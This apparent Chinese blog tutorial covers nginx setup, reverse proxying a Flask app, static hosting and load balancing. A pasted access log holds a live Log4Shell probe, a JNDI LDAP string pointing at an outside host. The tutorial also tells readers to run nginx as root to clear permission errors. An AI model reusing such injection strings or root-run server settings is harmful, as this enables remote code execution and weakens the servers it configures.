Web網(wǎng)站的構(gòu)成和頁面渲染
爬蟲與反爬蟲的較量總是圍繞著Web網(wǎng)站展開,爬蟲的主要目的是獲取Web網(wǎng)站中的內(nèi)容。開發(fā)者想要限制爬蟲獲取數(shù)據(jù),就需要了解HTML從文檔變成內(nèi)容豐富的頁面所要經(jīng)歷的每個(gè)階段。例如網(wǎng)絡(luò)請(qǐng)求、資源匹配、數(shù)據(jù)傳輸和頁面渲染。因此在學(xué)習(xí)爬蟲之前,我們需要先了解web網(wǎng)站的構(gòu)成和頁面渲染過程的相關(guān)知識(shí)。
web網(wǎng)站由服務(wù)端與客戶端組成,服務(wù)器主要負(fù)責(zé)為客戶端提供文件資源的提取與數(shù)據(jù)的保存服務(wù),而客戶端則是將服務(wù)器的資源轉(zhuǎn)化為用戶可讀的內(nèi)容。服務(wù)器端與客戶端之間的信息交互需要通過網(wǎng)絡(luò)進(jìn)行傳輸,而網(wǎng)絡(luò)傳輸會(huì)根據(jù)對(duì)應(yīng)的網(wǎng)絡(luò)協(xié)議進(jìn)行。如果客戶端與服務(wù)端要進(jìn)行通信,兩者需要使用相同的網(wǎng)絡(luò)協(xié)議。
nginx 服務(wù)器
Web網(wǎng)站的功能由編程語言來實(shí)現(xiàn),編程語言專注的是功能實(shí)現(xiàn),資源的映射與連接處理是由服務(wù)器軟件完成。常見的服務(wù)器主要有Apache、nginx和Tomcat等,接下來我們就對(duì)nginx來增進(jìn)對(duì)服務(wù)器的了解。
nginx是一個(gè)HTTP和反向代理服務(wù)器,同時(shí)也是郵件代理服務(wù)器和通用的TCP/UDP代理服務(wù)器。它具有模塊化設(shè)計(jì),可拓展、低內(nèi)存消耗、支持熱部署等優(yōu)秀特性,所以非常多的web應(yīng)用將其作為服務(wù)器軟件。
nginx有一個(gè)主進(jìn)程和若干工作進(jìn)程,其中主進(jìn)程用于讀取和評(píng)估配置并維護(hù)工作進(jìn)程,工作進(jìn)程會(huì)對(duì)請(qǐng)求進(jìn)行實(shí)際處理。nginx采用基于事件的模型和依賴于操作系統(tǒng)的機(jī)制,有效的工作進(jìn)程之間分發(fā)請(qǐng)求。工作進(jìn)程數(shù)在配置文件中進(jìn)行定義,可以設(shè)定具體數(shù)值或使用默認(rèn)選項(xiàng)。

nginx有一個(gè)主進(jìn)程和多個(gè)工作進(jìn)程,主進(jìn)程主要用于維護(hù)自身運(yùn)轉(zhuǎn),例如讀取配置、維護(hù)工作進(jìn)程、重新載入配置等,工作進(jìn)程是具體響應(yīng)請(qǐng)求的進(jìn)程。nginx的工作進(jìn)程數(shù)是確定的,并不是說來一個(gè)任務(wù)才開啟一個(gè)進(jìn)程,它的工作進(jìn)程數(shù)可以在配置文件中更改。
快速安裝nginx
你都學(xué)到nginx了,這里強(qiáng)烈建議大家一定要去購買云服務(wù)器來操作,我這里使用的是Centos7.6版本的Linux操作系統(tǒng)。
連接云服務(wù)器的終端,輸入下面的命令即可安裝nginx。
yum install nginx
安裝完畢之后,在你的瀏覽器訪問服務(wù)器的IP地址即可。
nginx 信號(hào)
信號(hào)是控制nginx工作狀態(tài)的模塊,信號(hào)語法格式為:
nginx -s signal
常用的信號(hào)有:
stop 快速關(guān)停
quit 正常關(guān)停
reload 重新載入配置
reopen 重新打開日志文件
nginx的正確關(guān)停,是nginx -s quit,它可以讓nginx處理完已經(jīng)開始的的工作再退出。
nginx配置說明
nginx有主配置文件和輔助配置文件,主配置文件默認(rèn)名稱是nginx.conf,默認(rèn)存放在/etc/nginx/nginx.conf。輔助配置的文件名稱和路徑都可以更改,文件名稱通常以conf結(jié)尾。
通過status找到nginx的Server配置文件
systemctl status nginx
[Unit]
Description=The nginx HTTP and reverse proxy server
After=network-online.target remote-fs.target nss-lookup.target
Wants=network-online.target
[Service]
Type=forking
PIDFile=/run/nginx.pid
# Nginx will fail to start if /run/nginx.pid already exists but has the wrong
# SELinux context. This might happen when running `nginx -t` from the cmdline.
# https://bugzilla.redhat.com/show_bug.cgi?id=1268621
ExecStartPre=/usr/bin/rm -f /run/nginx.pid
ExecStartPre=/usr/sbin/nginx -t
ExecStart=/usr/sbin/nginx
ExecReload=/usr/sbin/nginx -s reload
KillSignal=SIGQUIT
TimeoutStopSec=5
KillMode=process
PrivateTmp=true
[Install]
WantedBy=multi-user.target
查找主配置文件
[root@VM-8-9-centos ~]# find / -name nginx.conf
/etc/nginx/nginx.conf
主配置文件基本結(jié)構(gòu)和作用
user nginx; # 用戶
worker_processes auto; # 進(jìn)程數(shù)
error_log /var/log/nginx/error.log; # 錯(cuò)誤日志
pid /run/nginx.pid; # 進(jìn)程文件
# Load dynamic modules. See /usr/share/doc/nginx/README.dynamic.
include /usr/share/nginx/modules/*.conf; # 插件模塊配置
events {
worker_connections 1024; # 允許同時(shí)連接的連接數(shù)
}
http {
log_format main '$remote_addr - $remote_user [$time_local] "$request" '
'$status $body_bytes_sent "$http_referer" '
'"$http_user_agent" "$http_x_forwarded_for"';
access_log /var/log/nginx/access.log main; # 日志文件
sendfile on;
tcp_nopush on;
tcp_nodelay on;
keepalive_timeout 65;
types_hash_max_size 4096;
include /etc/nginx/mime.types;
default_type application/octet-stream;
# Load modular configuration files from the /etc/nginx/conf.d directory.
# See http://nginx.org/en/docs/ngx_core_module.html#include
# for more information.
include /etc/nginx/conf.d/*.conf; # 輔助配置文件
server {
listen 80;
listen [::]:80;
server_name _;
root /usr/share/nginx/html;
# Load configuration files for the default server block.
include /etc/nginx/default.d/*.conf;
error_page 404 /404.html;
location = /404.html {
}
error_page 500 502 503 504 /50x.html;
location = /50x.html {
}
}
# Settings for a TLS enabled server.
#
# server {
# listen 443 ssl http2;
# listen [::]:443 ssl http2;
# server_name _;
# root /usr/share/nginx/html;
#
# ssl_certificate "/etc/pki/nginx/server.crt";
# ssl_certificate_key "/etc/pki/nginx/private/server.key";
# ssl_session_cache shared:SSL:1m;
# ssl_session_timeout 10m;
# ssl_ciphers HIGH:!aNULL:!MD5;
# ssl_prefer_server_ciphers on;
#
# # Load configuration files for the default server block.
# include /etc/nginx/default.d/*.conf;
#
# error_page 404 /404.html;
# location = /40x.html {
# }
#
# error_page 500 502 503 504 /50x.html;
# location = /50x.html {
# }
# }
通過命令
nginx的工作進(jìn)程數(shù)等于CPU的數(shù)量+1
反向代理
一圖勝千言。

反向代理服務(wù)器一般都是用于大型互聯(lián)網(wǎng)公司中,中小型公司也應(yīng)該會(huì)使用。從上圖可以看出客戶端發(fā)出請(qǐng)求,想要獲取Server服務(wù)器上的內(nèi)容,但請(qǐng)求將被先發(fā)送到代理服務(wù)器proxy,這個(gè)代理服務(wù)器把請(qǐng)求代理到和自己屬于同一個(gè)LAN上的內(nèi)部服務(wù)器上,而服務(wù)器,即向外部客戶端提供一個(gè)統(tǒng)一的代理入口,客戶端發(fā)出請(qǐng)求都會(huì)先通過這個(gè)代理服務(wù)器,至于內(nèi)網(wǎng)是訪問哪臺(tái)服務(wù)器,由proxy去控制。
為什么使用反向代理
1、安全及權(quán)限
使用反向代理服務(wù)器之后,用戶端無法直接通過請(qǐng)求訪問真正的服務(wù)器。
2、負(fù)載均衡
例如一個(gè)網(wǎng)站的內(nèi)容被部署到若干臺(tái)服務(wù)器上,可以把這些機(jī)子看作是集群,那么nginx把收到的請(qǐng)求平均分配到每個(gè)不同的服務(wù)器上,不會(huì)造成一個(gè)服務(wù)器的壓力過大,這就實(shí)現(xiàn)了負(fù)載均衡。
正向代理
正向代理應(yīng)該就會(huì)比反向代理要好理解很多,其實(shí)大家所使用的翻墻工具就是一個(gè)正向代理工具。它會(huì)把訪問墻外服務(wù)器Server的網(wǎng)頁請(qǐng)求,代理到一個(gè)可以訪問該網(wǎng)站的代理服務(wù)器proxy,這個(gè)代理服務(wù)器proxy會(huì)把墻外服務(wù)器Server上的網(wǎng)頁內(nèi)容獲取,再轉(zhuǎn)發(fā)給客戶。

nginx配置文件的基礎(chǔ)語法
nginx配置文件中的配置項(xiàng)成為指令,指令分為簡單指令和塊指令。簡單的指令由指令名稱和參數(shù)組成,以空格進(jìn)行分隔并以英文符號(hào)結(jié)尾,例如:
worker_processes auto;
worker_processes:指令名稱,作用是設(shè)置工作進(jìn)程數(shù)
auto:命令參數(shù),表示進(jìn)程數(shù)量,可以是數(shù)字也可以是auto(根據(jù)CPU數(shù)量固定數(shù)學(xué)公式計(jì)算,一般是CPU+1)。
塊指令語法格式與簡單指令類似,單以花括號(hào)包裹更多的簡單指令,例如:
http {
server{
...
}
}
上下文
上下文也稱為語境,如果塊指令包含其他指令,則這個(gè)指令稱為上下文。常見的上下文例如:
envents
http
server
location
有一個(gè)隱藏的上下文指令,main,它不需要顯示聲明,所有指令的最外層就是main的范圍。main作為其他上下文的參考,例如events和http必須在main范圍中,server必須在http中;location必須在server中。
部署flask到服務(wù)器運(yùn)行
flask代碼,如下:
from flask import Flask
from flask_restful import Resource, Api
app = Flask(__name__)
api = Api(app)
class HelloWord(Resource):
def get(self):
app.logger.info('receive a request, and response 劍南的編程之路')
return {'message': '劍南的編程之路', 'address': 'https://www.kenshujun.cn'}
api.add_resource(HelloWord, '/')
if __name__ == '__main__':
app.run(debug=True, port=5000, host='0.0.0.0')
app.run(debug=True, port=6789, host='0.0.0.0')
這一行代碼是需要注意的,因?yàn)槭欠旁诜?wù)器上運(yùn)行,需要客戶端可以正常的訪問,因此在生產(chǎn)環(huán)境下運(yùn)行這段代碼,需要將host和debug進(jìn)行更改。在瀏覽器中輸入服務(wù)器的IP地址加端口號(hào)即可獲取響應(yīng)。
注意:如果還是無法訪問的話,可能的原因就是沒有打開防火墻的端口,添加安全規(guī)則即可。
但是這種部署的方式是不安全的,暴露了真正服務(wù)器的端口信息。
在服務(wù)器啟動(dòng)之后,可以通過配置nginx實(shí)現(xiàn)反向代理。在輔助配置文件的目錄新增配置文件。
> vim /etc/nginx/conf.d/fls.conf
server {
listen 8888;
server_name localhost;
location / {
proxy_pass http://localhost:5000;
}
}
檢查語法是否正確
> nginx -t
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
出現(xiàn)上面所展示的結(jié)果,則說明配置成功。
重新載入配置
nginx -s reload
瀏覽器訪問http://ip:port,例如我的服務(wù)器http://119.91.75.14:8888/
查看nginx日志文件
> cat /var/log/nginx/access.log
107.189.29.181 - - [19/Dec/2021:21:38:58 +0800] "GET / HTTP/1.1" 200 4833 "-" "${jndi:ldap://179.43.175.101:1389/jedmdg}" "-"
209.141.50.223 - - [19/Dec/2021:21:45:04 +0800] "GET /config/getuser?index=0 HTTP/1.1" 404 3650 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0" "-"
121.33.147.185 - - [19/Dec/2021:21:50:50 +0800] "GET / HTTP/1.1" 200 107 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0" "-"
部署靜態(tài)頁面
靜態(tài)頁面的HTML代碼如下:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>靜態(tài)頁面(kenshujun.com)</title>
</head>
<body>
<h1>我的第一個(gè)標(biāo)題</h1>
<p>我的第一個(gè)段落。</p>
</body>
</html>
接下來在輔助配置下編寫配置文件
server {
listen 9999;
server_name loaclhost;
charset utf-8;
location / {
root /root;
index index.html index.htm;
}
}
和前面相同,寫完配置文件之后進(jìn)行檢查以及重載。
如果訪問時(shí)出現(xiàn)403錯(cuò)誤,那就是權(quán)限不夠,需要去主配置文件修改權(quán)限。
vim /etc/nginx/nginx.conf
user root; # 修改為root
worker_processes auto;
error_log /var/log/nginx/error.log;
pid /run/nginx.pid;
接下來便可以訪問http://ip:port
基于nginx實(shí)現(xiàn)負(fù)載均衡
想象一個(gè)場景,例如現(xiàn)在你的服務(wù)器上的后端服務(wù)主要用于格式化時(shí)間,有很多爬蟲程序需要調(diào)用它,而且還需要確保服務(wù)的穩(wěn)定可行。
場景延申:假設(shè)你有一個(gè)JS算法,現(xiàn)在所有爬蟲都需要在發(fā)出請(qǐng)求前調(diào)用這個(gè)算法,生成sign值,帶著值去請(qǐng)求。如果你把JS代碼放在python/golang這類代碼里做本地調(diào)試執(zhí)行,那么你改動(dòng)算法時(shí)需要重新部署所有的爬蟲程序,但是做成web服務(wù),只需要重啟web服務(wù)即可。
一個(gè)后端服務(wù)有兩個(gè)明顯的缺點(diǎn)
1、服務(wù)性能不夠。請(qǐng)求太多會(huì)導(dǎo)致程序卡頓,響應(yīng)速度慢,影響整體效率;
2、服務(wù)整體不穩(wěn)定,一旦進(jìn)程退出或者服務(wù)器死機(jī),那么服務(wù)將不可訪問。
使用負(fù)載均衡的好處
1、啟動(dòng)多個(gè)后端服務(wù),配置負(fù)載均衡,讓請(qǐng)求按需(例如輪流)轉(zhuǎn)發(fā)到它們那里進(jìn)行處理,那么就能夠承擔(dān)更多的工作需求。
2、一個(gè)nginx負(fù)載多個(gè)后端服務(wù),當(dāng)一個(gè)服務(wù)或者幾個(gè)服務(wù)出現(xiàn)進(jìn)程退出的情況,還有其他服務(wù)在工作。
實(shí)現(xiàn)負(fù)載均衡
nginx只需要引入proxy_pass指令和upstream上下文即可實(shí)現(xiàn)負(fù)載均衡。一個(gè)簡單的負(fù)載均衡配置如下:
upstream backend{
server localhost:5000;
server localhost:6000;
}
server {
listen 8888;
server_name localhost;
location / {
proxy_pass http://backend;
}
}
保存后重新載入即可。
域名解析與配置實(shí)戰(zhàn)
打開云服務(wù)器控制臺(tái),進(jìn)入域名解析(購買域名并備案),點(diǎn)擊解析。輸入子域名名稱、服務(wù)器IP地址后選擇保存即可。
接下來修改輔助配置文件,更改端口,綁定域名
listen 80;
server_name xx.xxx.com;